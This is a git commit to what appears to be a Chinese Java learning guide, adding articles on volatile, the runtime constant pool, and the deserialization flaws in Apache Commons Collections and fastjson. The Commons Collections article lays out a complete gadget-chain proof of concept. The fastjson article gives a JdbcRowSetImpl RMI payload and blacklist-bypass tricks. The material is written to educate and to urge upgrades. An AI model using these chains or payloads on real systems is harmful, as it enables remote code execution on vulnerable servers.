提交 b5ba21c3 编写于 作者: H hollis.zhl

完善部分知识

上级 d20b488d
......@@ -77,27 +77,27 @@
* [switch对String的支持](/basics/java-basic/switch-string.md)
* 字符串池
* [字符串池](/basics/java-basic/string-pool.md)
* 常量池(运行时常量池、[Class常量池](/basics/java-basic/class-contant-pool.md))
* 常量池([运行时常量池](/basics/java-basic/Runtime-Constant-Pool.md)、[Class常量池](/basics/java-basic/class-contant-pool.md))
* intern
* [intern](/basics/java-basic/intern.md)
* Java中各种关键字
* transient
* [transient](basics/java-basic/transient-in-java.md)
* instanceof
* [instanceof](basics/java-basic/instanceof-in-java.md)
* volatile
* [volatile](basics/concurrent-coding/volatile.md)
* synchronized
* [synchronized](basics/concurrent-coding/synchronized.md)
* final
* [final](basics/java-basic/final-in-java.md)
* static
* [static](basics/java-basic/static-in-java.md)
* const
* [const](basics/java-basic/const-in-java.md)
* 集合类
......@@ -107,7 +107,9 @@
* [Set和List区别?](/basics/java-basic/set-vs-list.md)
* [ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)
* [ArrayList和LinkedList和Vector的区别](/basics/java-basic/arraylist-vs-linkedlist-vs-vector.md)
* [ArrayList使用了transient关键字进行存储优化,而Vector没有,为什么?](/basics/java-basic/why-transient-in-arraylist.md)
* [SynchronizedList和Vector的区别](/basics/java-basic/synchronizedlist-vector.md)
......@@ -219,7 +221,7 @@
* [为什么serialVersionUID不能随便改](basics/java-basic/serialVersionUID-modify.md)
* [transient](basics/java-basic/transient.md)
* [transient](basics/java-basic/transient-in-java.md)
* [序列化底层原理](basics/java-basic/serialize-principle.md)
......@@ -227,7 +229,9 @@
* [protobuf](basics/java-basic/protobuf.md)
* 为什么说序列化并不安全
* [Apache-Commons-Collections的反序列化漏洞](basics/java-basic/bug-in-apache-commons-collections.md)
* [fastjson的反序列化漏洞](basics/java-basic/bug-in-fastjson.md)
* 注解
......
[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中我们曾经介绍过,Java语言为了解决并发编程中存在的原子性、可见性和有序性问题,提供了一系列和并发处理相关的关键字,比如`synchronized``volatile``final``concurren包`等。在[前一篇][2]文章中,我们也介绍了`synchronized`的用法及原理。本文,来分析一下另外一个关键字——`volatile`
本文就围绕`volatile`展开,主要介绍`volatile`的用法、`volatile`的原理,以及`volatile`是如何提供可见性和有序性保障的等。
`volatile`这个关键字,不仅仅在Java语言中有,在很多语言中都有的,而且其用法和语义也都是不尽相同的。尤其在C语言、C++以及Java中,都有`volatile`关键字。都可以用来声明变量或者对象。下面简单来介绍一下Java语言中的`volatile`关键字。
### volatile的用法
`volatile`通常被比喻成"轻量级的`synchronized`",也是Java并发编程中比较重要的一个关键字。和`synchronized`不同,`volatile`是一个变量修饰符,只能用来修饰变量。无法修饰方法及代码块等。
`volatile`的用法比较简单,只需要在声明一个可能被多线程同时访问的变量时,使用`volatile`修饰就可以了。
public class Singleton {
private volatile static Singleton singleton;
private Singleton (){}
public static Singleton getSingleton() {
if (singleton == null) {
synchronized (Singleton.class) {
if (singleton == null) {
singleton = new Singleton();
}
}
}
return singleton;
}
}
如以上代码,是一个比较典型的使用双重锁校验的形式实现单例的,其中使用`volatile`关键字修饰可能被多个线程同时访问到的singleton。
### volatile的原理
[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中我们曾经介绍过,为了提高处理器的执行速度,在处理器和内存之间增加了多级缓存来提升。但是由于引入了多级缓存,就存在缓存数据不一致问题。
但是,对于`volatile`变量,当对`volatile`变量进行写操作的时候,JVM会向处理器发送一条lock前缀的指令,将这个缓存中的变量回写到系统主存中。
但是就算写回到内存,如果其他处理器缓存的值还是旧的,再执行计算操作就会有问题,所以在多处理器下,为了保证各个处理器的缓存是一致的,就会实现`缓存一致性协议`
**缓存一致性协议**:每个处理器通过嗅探在总线上传播的数据来检查自己缓存的值是不是过期了,当处理器发现自己缓存行对应的内存地址被修改,就会将当前处理器的缓存行设置成无效状态,当处理器要对这个数据进行修改操作的时候,会强制重新从系统内存里把数据读到处理器缓存里。
所以,如果一个变量被`volatile`所修饰的话,在每次数据变化之后,其值都会被强制刷入主存。而其他处理器的缓存由于遵守了缓存一致性协议,也会把这个变量的值从主存加载到自己的缓存中。这就保证了一个`volatile`在并发编程中,其值在多个缓存中是可见的。
### volatile与可见性
可见性是指当多个线程访问同一个变量时,一个线程修改了这个变量的值,其他线程能够立即看得到修改的值。
我们在[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中分析过:Java内存模型规定了所有的变量都存储在主内存中,每条线程还有自己的工作内存,线程的工作内存中保存了该线程中是用到的变量的主内存副本拷贝,线程对变量的所有操作都必须在工作内存中进行,而不能直接读写主内存。不同的线程之间也无法直接访问对方工作内存中的变量,线程间变量的传递均需要自己的工作内存和主存之间进行数据同步进行。所以,就可能出现线程1改了某个变量的值,但是线程2不可见的情况。
前面的关于`volatile`的原理中介绍过了,Java中的`volatile`关键字提供了一个功能,那就是被其修饰的变量在被修改后可以立即同步到主内存,被其修饰的变量在每次是用之前都从主内存刷新。因此,可以使用`volatile`来保证多线程操作时变量的可见性。
### volatile与有序性
有序性即程序执行的顺序按照代码的先后顺序执行。
我们在[再有人问你Java内存模型是什么,就把这篇文章发给他][1]中分析过:除了引入了时间片以外,由于处理器优化和指令重排等,CPU还可能对输入代码进行乱序执行,比如`load->add->save` 有可能被优化成`load->save->add` 。这就是可能存在有序性问题。
`volatile`除了可以保证数据的可见性之外,还有一个强大的功能,那就是他可以禁止指令重排优化等。
普通的变量仅仅会保证在该方法的执行过程中所依赖的赋值结果的地方都能获得正确的结果,而不能保证变量的赋值操作的顺序与程序代码中的执行顺序一致。
volatile可以禁止指令重排,这就保证了代码的程序会严格按照代码的先后顺序执行。这就保证了有序性。被`volatile`修饰的变量的操作,会严格按照代码顺序执行,`load->add->save` 的执行顺序就是:load、add、save。
### volatile与原子性
原子性是指一个操作是不可中断的,要全部执行完成,要不就都不执行。
我们在[Java的并发编程中的多线程问题到底是怎么回事儿?][3]中分析过:线程是CPU调度的基本单位。CPU有时间片的概念,会根据不同的调度算法进行线程调度。当一个线程获得时间片之后开始执行,在时间片耗尽之后,就会失去CPU使用权。所以在多线程场景下,由于时间片在线程间轮换,就会发生原子性问题。
在上一篇文章中,我们介绍`synchronized`的时候,提到过,为了保证原子性,需要通过字节码指令`monitorenter``monitorexit`,但是`volatile`和这两个指令之间是没有任何关系的。
**所以,`volatile`是不能保证原子性的。**
在以下两个场景中可以使用`volatile`来代替`synchronized`
> 1、运算结果并不依赖变量的当前值,或者能够确保只有单一的线程会修改变量的值。
>
> 2、变量不需要与其他状态变量共同参与不变约束。
除以上场景外,都需要使用其他方式来保证原子性,如`synchronized`或者`concurrent包`
我们来看一下volatile和原子性的例子:
public class Test {
public volatile int inc = 0;
public void increase() {
inc++;
}
public static void main(String[] args) {
final Test test = new Test();
for(int i=0;i<10;i++){
new Thread(){
public void run() {
for(int j=0;j<1000;j++)
test.increase();
};
}.start();
}
while(Thread.activeCount()>1) //保证前面的线程都执行完
Thread.yield();
System.out.println(test.inc);
}
}
以上代码比较简单,就是创建10个线程,然后分别执行1000次`i++`操作。正常情况下,程序的输出结果应该是10000,但是,多次执行的结果都小于10000。这其实就是`volatile`无法满足原子性的原因。
为什么会出现这种情况呢,那就是因为虽然volatile可以保证`inc`在多个线程之间的可见性。但是无法`inc++`的原子性。
### 总结与思考
我们介绍过了`volatile`关键字和`synchronized`关键字。现在我们知道,`synchronized`可以保证原子性、有序性和可见性。而`volatile`却只能保证有序性和可见性。
那么,我们再来看一下双重校验锁实现的单例,已经使用了`synchronized`,为什么还需要`volatile`
public class Singleton {
private volatile static Singleton singleton;
private Singleton (){}
public static Singleton getSingleton() {
if (singleton == null) {
synchronized (Singleton.class) {
if (singleton == null) {
singleton = new Singleton();
}
}
}
return singleton;
}
}
答案,我们在下一篇文章:既生synchronized,何生亮volatile中介绍,敬请关注我的博客(http://47.103.216.138)和公众号(Hollis)。
[1]: http://47.103.216.138/archives/2550
[2]: http://47.103.216.138/archives/2637
[3]: http://47.103.216.138/archives/2618
\ No newline at end of file
运行时常量池( Runtime Constant Pool)是每一个类或接口的常量池( Constant_Pool)的运行时表示形式。
它包括了若干种不同的常量:从编译期可知的数值字面量到必须运行期解析后才能获得的方法或字段引用。运行时常量池扮演了类似传统语言中符号表( SymbolTable)的角色,不过它存储数据范围比通常意义上的符号表要更为广泛。
每一个运行时常量池都分配在 Java 虚拟机的方法区之中,在类和接口被加载到虚拟机后,对应的运行时常量池就被创建出来。
以上,是Java虚拟机规范中关于运行时常量池的定义。
### 运行时常量池在JDK各个版本中的实现
根据Java虚拟机规范约定:每一个运行时常量池都在Java虚拟机的方法区中分配,在加载类和接口到虚拟机后,就创建对应的运行时常量池。
在不同版本的JDK中,运行时常量池所处的位置也不一样。以HotSpot为例:
在JDK 1.7之前,方法区位于堆内存的永久代中,运行时常量池作为方法区的一部分,也处于永久代中。
因为使用永久代实现方法区可能导致内存泄露问题,所以,从JDK1.7开始,JVM尝试解决这一问题,在1.7中,将原本位于永久代中的运行时常量池移动到堆内存中。(永久代在JDK 1.7并没有完全移除,只是原来方法区中的运行时常量池、类的静态变量等移动到了堆内存中。)
在JDK 1.8中,彻底移除了永久代,方法区通过元空间的方式实现。随之,运行时常量池也在元空间中实现。
### 运行时常量池中常量的来源
运行时常量池中包含了若干种不同的常量:
编译期可知的字面量和符号引用(来自Class常量池)
运行期解析后可获得的常量(如String的intern方法)
所以,运行时常量池中的内容包含:Class常量池中的常量、字符串常量池中的内容
### 运行时常量池、Class常量池、字符串常量池的区别与联系
虚拟机启动过程中,会将各个Class文件中的常量池载入到运行时常量池中。
所以, Class常量池只是一个媒介场所。在JVM真的运行时,需要把常量池中的常量加载到内存中,进入到运行时常量池。
字符串常量池可以理解为运行时常量池分出来的部分。加载时,对于class的静态常量池,如果字符串会被装到字符串常量池中。
\ No newline at end of file
Apache-Commons-Collections这个框架,相信每一个Java程序员都不陌生,这是一个非常著名的开源框架。
但是,他其实也曾经被爆出过序列化安全漏洞,可以被远程执行命令。
### 背景
Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。
**Commons Collections包为Java标准的Collections API提供了相当好的补充。**在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Commons Collections的最新版是4.4,但是使用比较广泛的还是3.x的版本。其实,**在3.2.1以下版本中,存在一个比较大的安全漏洞,可以被利用来进行远程命令执行。**
这个漏洞在2015年第一次被披露出来,但是业内一直称称这个漏洞为"2015年最被低估的漏洞"。
因为这个类库的使用实在是太广泛了,首当其中的就是很多Java Web Server,这个漏洞在当时横扫了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
之后,Gabriel Lawrence和Chris Frohoff两位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection实现任意代码执行。
### 问题复现
这个问题主要会发生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本进行测试,JDK版本为Java 8。
#### 利用Transformer攻击
Commons Collections中提供了一个Transformer接口,主要是可以用来进行类型装换的,这个接口有一个实现类是和我们今天要介绍的漏洞有关的,那就是InvokerTransformer。
**InvokerTransformer提供了一个transform方法,该方法核心代码只有3行,主要作用就是通过反射对传入的对象进行实例化,然后执行其iMethodName方法。**
![][2]
而需要调用的iMethodName和需要使用的参数iArgs其实都是InvokerTransformer类在实例化时设定进来的,这个类的构造函数如下:
![][3]
也就是说,使用这个类,理论上可以执行任何方法。那么,我们就可以利用这个类在Java中执行外部命令。
我们知道,想要在Java中执行外部命令,需要使用`Runtime.getRuntime().exec(cmd)`的形式,那么,我们就想办法通过以上工具类实现这个功能。
首先,通过InvokerTransformer的构造函数设置好我们要执行的方法以及参数:
Transformer transformer = new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open /Applications/Calculator.app"});
通过,构造函数,我们设定方法名为`exec`,执行的命令为`open /Applications/Calculator.app`,即打开mac电脑上面的计算器(windows下命令:`C:\\Windows\\System32\\calc.exe`)。
然后,通过InvokerTransformer实现对`Runtime`类的实例化:
transformer.transform(Runtime.getRuntime());
运行程序后,会执行外部命令,打开电脑上的计算机程序:
![][4]
至此,我们知道可以利用InvokerTransformer来调用外部命令了,那是不是只需要把一个我们自定义的InvokerTransformer序列化成字符串,然后再反序列化,接口实现远程命令执行:
![][5]
先将transformer对象序列化到文件中,再从文件中读取出来,并且执行其transform方法,就实现了攻击。
#### 你以为这就完了?
但是,如果事情只有这么简单的话,那这个漏洞应该早就被发现了。想要真的实现攻击,那么还有几件事要做。
因为,`newTransformer.transform(Runtime.getRuntime());`这样的代码,不会有人真的在代码中写的。
如果没有了这行代码,还能实现执行外部命令么?
这就要利用到Commons Collections中提供了另一个工具那就是ChainedTransformer,这个类是Transformer的实现类。
**ChainedTransformer类提供了一个transform方法,他的功能遍历他的iTransformers数组,然后依次调用其transform方法,并且每次都返回一个对象,并且这个对象可以作为下一次调用的参数。**
![][6]
那么,我们可以利用这个特性,来自己实现和`transformer.transform(Runtime.getRuntime());`同样的功能:
Transformer[] transformers = new Transformer[] {
//通过内置的ConstantTransformer来获取Runtime类
new ConstantTransformer(Runtime.class),
//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射调用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
在拿到一个transformerChain之后,直接调用他的transform方法,传入任何参数都可以,执行之后,也可以实现打开本地计算器程序的功能:
![][7]
那么,结合序列化,现在的攻击更加进了一步,不再需要一定要传入`newTransformer.transform(Runtime.getRuntime());`这样的代码了,只要代码中有 `transformer.transform()`方法的调用即可,无论里面是什么参数:
![][8]
#### 攻击者不会满足于此
但是,一般也不会有程序员会在代码中写这样的代码。
那么,攻击手段就需要更进一步,真正做到"不需要程序员配合"。
于是,攻击者们发现了在Commons Collections中提供了一个LazyMap类,这个类的get会调用transform方法。(Commons Collections还真的是懂得黑客想什么呀。)
![][9]
那么,现在的攻击方向就是想办法调用到LazyMap的get方法,并且把其中的factory设置成我们的序列化对象就行了。
顺藤摸瓜,可以找到Commons Collections中的TiedMapEntry类的getValue方法会调用到LazyMap的get方法,而TiedMapEntry类的getValue又会被其中的toString()方法调用到。
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
那么,现在的攻击门槛就更低了一些,只要我们自己构造一个TiedMapEntry,并且将他进行序列化,这样,只要有人拿到这个序列化之后的对象,调用他的toString方法的时候,就会自动触发bug。
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
我们知道,toString会在很多时候被隐式调用,如输出的时候(`System.out.println(ois.readObject());`),代码示例如下:
![][10]
现在,黑客只需要把自己构造的TiedMapEntry的序列化后的内容上传给应用程序,应用程序在反序列化之后,如果调用了toString就会被攻击。
#### 只要反序列化,就会被攻击
那么,有没有什么办法,让代码只要对我们准备好的内容进行反序列化就会遭到攻击呢?
倒还真的被发现了,只要满足以下条件就行了:
那就是在某个类的readObject会调用到上面我们提到的LazyMap或者TiedMapEntry的相关方法就行了。因为Java反序列化的时候,会调用对象的readObject方法。
通过深入挖掘,黑客们找到了BadAttributeValueExpException、AnnotationInvocationHandler等类。这里拿BadAttributeValueExpException举例
BadAttributeValueExpException类是Java中提供的一个异常类,他的readObject方法直接调用了toString方法:
![][11]
那么,攻击者只需要想办法把TiedMapEntry的对象赋值给代码中的valObj就行了。
通过阅读源码,我们发现,只要给BadAttributeValueExpException类中的成员变量val设置成一个TiedMapEntry类型的对象就行了。
这就简单了,通过反射就能实现:
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
于是,这时候,攻击就非常简单了,只需要把BadAttributeValueExpException对象序列化成字符串,只要这个字符串内容被反序列化,那么就会被攻击。
![][12]
### 问题解决
以上,我们复现了这个Apache Commons Collections类库带来的一个和反序列化有关的远程代码执行漏洞。
通过这个漏洞的分析,我们可以发现,只要有一个地方代码写的不够严谨,就可能会被攻击者利用。
因为这个漏洞影响范围很大,所以在被爆出来之后就被修复掉了,开发者只需要将Apache Commons Collections类库升级到3.2.2版本,即可避免这个漏洞。
![-w1382][13]
3\.2.2版本对一些不安全的Java类的序列化支持增加了开关,默认为关闭状态。涉及的类包括
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
如在InvokerTransformer类中,自己实现了和序列化有关的writeObject()和 readObject()方法:
![][14]
在两个方法中,进行了序列化安全的相关校验,校验实现代码如下:
![][15]
在序列化及反序列化过程中,会检查对于一些不安全类的序列化支持是否是被禁用的,如果是禁用的,那么就会抛出`UnsupportedOperationException`,通过`org.apache.commons.collections.enableUnsafeSerialization`设置这个特性的开关。
将Apache Commons Collections升级到3.2.2以后,执行文中示例代码,将报错如下:
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
### 后话
本文介绍了Apache Commons Collections的历史版本中的一个反序列化漏洞。
如果你阅读本文之后,能够有以下思考,那么本文的目的就达到了:
1、代码都是人写的,有bug都是可以理解的
2、公共的基础类库,一定要重点考虑安全性问题
3、在使用公共类库的时候,要时刻关注其安全情况,一旦有漏洞爆出,要马上升级
4、安全领域深不见底,攻击者总能抽丝剥茧,一点点bug都可能被利用
参考资料: https://commons.apache.org/proper/commons-collections/release_3_2_2.html https://p0sec.net/index.php/archives/121/ https://www.freebuf.com/vuls/175252.html https://kingx.me/commons-collections-java-deserialization.html
[1]: https://www.hollischuang.com/archives/5177
[2]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944480560097.jpg
[3]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944485613275.jpg
[4]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944494651843.jpg
[5]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944505042521.jpg
[6]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944497629664.jpg
[7]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944539116926.jpg
[8]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944538564178.jpg
[9]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944509076736.jpg
[10]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537562975.jpg
[11]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944519240647.jpg
[12]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944537014741.jpg
[13]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944526874284.jpg
[14]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525715616.jpg
[15]: https://www.hollischuang.com/wp-content/uploads/2020/07/15944525999226.jpg
\ No newline at end of file
fastjson大家一定都不陌生,这是阿里巴巴的开源一个JSON解析库,通常被用于将Java Bean和JSON 字符串之间进行转换。
前段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。
但是作为一个开发者,我更关注的是他为什么会频繁被爆漏洞?于是我带着疑惑,去看了下fastjson的releaseNote以及部分源代码。
最终发现,这其实和fastjson中的一个AutoType特性有关。
从2019年7月份发布的v1.2.59一直到2020年6月份发布的 v1.2.71 ,每个版本的升级中都有关于AutoType的升级。
下面是fastjson的官方releaseNotes 中,几次关于AutoType的重要升级:
> 1\.2.59发布,增强AutoType打开时的安全性 fastjson
>
> 1\.2.60发布,增加了AutoType黑名单,修复拒绝服务安全问题 fastjson
>
> 1\.2.61发布,增加AutoType安全黑名单 fastjson
>
> 1\.2.62发布,增加AutoType黑名单、增强日期反序列化和JSONPath fastjson
>
> 1\.2.66发布,Bug修复安全加固,并且做安全加固,补充了AutoType黑名单 fastjson
>
> 1\.2.67发布,Bug修复安全加固,补充了AutoType黑名单 fastjson
>
> 1\.2.68发布,支持GEOJSON,补充了AutoType黑名单。(**引入一个safeMode的配置,配置safeMode后,无论白名单和黑名单,都不支持autoType。**) fastjson
>
> 1\.2.69发布,修复新发现高危AutoType开关绕过安全漏洞,补充了AutoType黑名单 fastjson
>
> 1\.2.70发布,提升兼容性,补充了AutoType黑名单
甚至在fastjson的开源库中,有一个Issue是建议作者提供不带autoType的版本:
![-w747][1]
那么,什么是AutoType?为什么fastjson要引入AutoType?为什么AutoType会导致安全漏洞呢?本文就来深入分析一下。
### AutoType 何方神圣?
fastjson的主要功能就是将Java Bean序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。
但是,fastjson在序列化以及反序列化的过程中并没有使用[Java自带的序列化机制][2],而是自定义了一套机制。
其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:
* 1、基于属性
* 2、基于setter/getter
而我们所常用的JSON序列化框架中,FastJson和jackson在把对象序列化成json字符串的时候,是通过遍历出该类中的所有getter方法进行的。Gson并不是这么做的,他是通过反射遍历该类中的所有属性,并把其值序列化成json。
假设我们有以下一个Java类:
class Store {
private String name;
private Fruit fruit;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Fruit getFruit() {
return fruit;
}
public void setFruit(Fruit fruit) {
this.fruit = fruit;
}
}
interface Fruit {
}
class Apple implements Fruit {
private BigDecimal price;
//省略 setter/getter、toString等
}
**当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。**
那么问题来了,我们上面的定义的Fruit只是一个接口,序列化的时候fastjson能够把属性值正确序列化出来吗?如果可以的话,那么反序列化的时候,fastjson会把这个fruit反序列化成什么类型呢?
我们尝试着验证一下,基于(fastjson v 1.2.68):
Store store = new Store();
store.setName("Hollis");
Apple apple = new Apple();
apple.setPrice(new BigDecimal(0.5));
store.setFruit(apple);
String jsonString = JSON.toJSONString(store);
System.out.println("toJSONString : " + jsonString);
以上代码比较简单,我们创建了一个store,为他指定了名称,并且创建了一个Fruit的子类型Apple,然后将这个store使用`JSON.toJSONString`进行序列化,可以得到以下JSON内容:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
那么,这个fruit的类型到底是什么呢,能否反序列化成Apple呢?我们再来执行以下代码:
Store newStore = JSON.parseObject(jsonString, Store.class);
System.out.println("parseObject : " + newStore);
Apple newApple = (Apple)newStore.getFruit();
System.out.println("getFruit : " + newApple);
执行结果如下:
toJSONString : {"fruit":{"price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit={}}
Exception in thread "main" java.lang.ClassCastException: com.hollis.lab.fastjson.test.$Proxy0 cannot be cast to com.hollis.lab.fastjson.test.Apple
at com.hollis.lab.fastjson.test.FastJsonTest.main(FastJsonTest.java:26)
可以看到,在将store反序列化之后,我们尝试将Fruit转换成Apple,但是抛出了异常,尝试直接转换成Fruit则不会报错,如:
Fruit newFruit = newStore.getFruit();
System.out.println("getFruit : " + newFruit);
以上现象,我们知道,**当一个类中包含了一个接口(或抽象类)的时候,在使用fastjson进行序列化的时候,会将子类型抹去,只保留接口(抽象类)的类型,使得反序列化时无法拿到原始类型。**
那么有什么办法解决这个问题呢,fastjson引入了AutoType,即在序列化的时候,把原始类型记录下来。
使用方法是通过`SerializerFeature.WriteClassName`进行标记,即将上述代码中的
String jsonString = JSON.toJSONString(store);
修改成:
String jsonString = JSON.toJSONString(store,SerializerFeature.WriteClassName);
即可,以上代码,输出结果如下:
System.out.println("toJSONString : " + jsonString);
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
可以看到,**使用`SerializerFeature.WriteClassName`进行标记后,JSON字符串中多出了一个`@type`字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型**
如上,将序列化后的字符串在反序列化,既可以顺利的拿到一个Apple类型,整体输出内容:
toJSONString : {"@type":"com.hollis.lab.fastjson.test.Store","fruit":{"@type":"com.hollis.lab.fastjson.test.Apple","price":0.5},"name":"Hollis"}
parseObject : Store{name='Hollis', fruit=Apple{price=0.5}}
getFruit : Apple{price=0.5}
这就是AutoType,以及fastjson中引入AutoType的原因。
但是,也正是这个特性,因为在功能设计之初在安全方面考虑的不够周全,也给后续fastjson使用者带来了无尽的痛苦
### AutoType 何错之有?
因为有了autoType功能,那么fastjson在对JSON字符串进行反序列化的时候,就会读取`@type`到内容,试图把JSON内容反序列化成这个对象,并且会调用这个类的setter方法。
那么就可以利用这个特性,自己构造一个JSON字符串,并且使用`@type`指定一个自己想要使用的攻击类库。
举个例子,黑客比较常用的攻击类库是`com.sun.rowset.JdbcRowSetImpl`,这是sun官方提供的一个类库,这个类的dataSourceName支持传入一个rmi的源,当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。
而fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果。
如通过以下方式定一个JSON串,即可实现远程命令执行(在早期版本中,新版本中JdbcRowSetImpl已经被加了黑名单)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
**这就是所谓的远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。**
在早期的fastjson版本中(v1.2.25 之前),因为AutoType是默认开启的,并且也没有什么限制,可以说是裸着的。
从v1.2.25开始,fastjson默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。
但是,也是从这个时候开始,黑客和fastjson作者之间的博弈就开始了。
因为fastjson默认关闭了autotype支持,并且做了黑白名单的校验,所以攻击方向就转变成了"如何绕过checkAutotype"。
下面就来细数一下各个版本的fastjson中存在的漏洞以及攻击原理,**由于篇幅限制,这里并不会讲解的特别细节,如果大家感兴趣我后面可以单独写一篇文章讲讲细节**。下面的内容主要是提供一些思路,目的是说明写代码的时候注意安全性的重要性。
#### 绕过checkAutotype,黑客与fastjson的博弈
在fastjson v1.2.41 之前,在checkAutotype的代码中,会先进行黑白名单的过滤,如果要反序列化的类不在黑白名单中,那么才会对目标类进行反序列化。
但是在加载的过程中,fastjson有一段特殊的处理,那就是在具体加载类的时候会去掉className前后的`L``;`,形如`Lcom.lang.Thread;`
![-w853][3]
而黑白名单又是通过startWith检测的,那么黑客只要在自己想要使用的攻击类库前后加上`L``;`就可以绕过黑白名单的检查了,也不耽误被fastjson正常加载。
`Lcom.sun.rowset.JdbcRowSetImpl;`,会先通过白名单校验,然后fastjson在加载类的时候会去掉前后的`L``,变成了`com.sun.rowset.JdbcRowSetImpl`。
为了避免被攻击,在之后的 v1.2.42版本中,在进行黑白名单检测的时候,fastjson先判断目标类的类名的前后是不是`L`和`;`,如果是的话,就截取掉前后的`L`和`;`再进行黑白名单的校验。
看似解决了问题,但是黑客发现了这个规则之后,就在攻击时在目标类前后双写`LL`和`;;`,这样再被截取之后还是可以绕过检测。如`LLcom.sun.rowset.JdbcRowSetImpl;;`
魔高一尺,道高一丈。在 v1.2.43中,fastjson这次在黑白名单判断之前,增加了一个是否以`LL`未开头的判断,如果目标类以`LL`开头,那么就直接抛异常,于是就又短暂的修复了这个漏洞。
黑客在`L`和`;`这里走不通了,于是想办法从其他地方下手,因为fastjson在加载类的时候,不只对`L`和`;`这样的类进行特殊处理,还对`[`也被特殊处理了。
同样的攻击手段,在目标类前面添加`[`,v1.2.43以前的所有版本又沦陷了。
于是,在 v1.2.44版本中,fastjson的作者做了更加严格的要求,只要目标类以`[`开头或者以`;`结尾,都直接抛异常。也就解决了 v1.2.43及历史版本中发现的bug。
在之后的几个版本中,黑客的主要的攻击方式就是绕过黑名单了,而fastjson也在不断的完善自己的黑名单。
#### autoType不开启也能被攻击?
但是好景不长,在升级到 v1.2.47 版本时,黑客再次找到了办法来攻击。而且这个攻击只有在autoType关闭的时候才生效。
是不是很奇怪,autoType不开启反而会被攻击。
因为**在fastjson中有一个全局缓存,在类加载的时候,如果autotype没开启,会先尝试从缓存中获取类,如果缓存中有,则直接返回。**黑客正是利用这里机制进行了攻击。
黑客先想办法把一个类加到缓存中,然后再次执行的时候就可以绕过黑白名单检测了,多么聪明的手段。
首先想要把一个黑名单中的类加到缓存中,需要使用一个不在黑名单中的类,这个类就是`java.lang.Class`
`java.lang.Class`类对应的deserializer为MiscCodec,反序列化时会取json串中的val值并加载这个val对应的类。
<img src="https://www.hollischuang.com/wp-content/uploads/2020/07/1-300x116.png" alt="" width="300" height="116" class="aligncenter size-medium wp-image-5198" />
如果fastjson cache为true,就会缓存这个val对应的class到全局缓存中
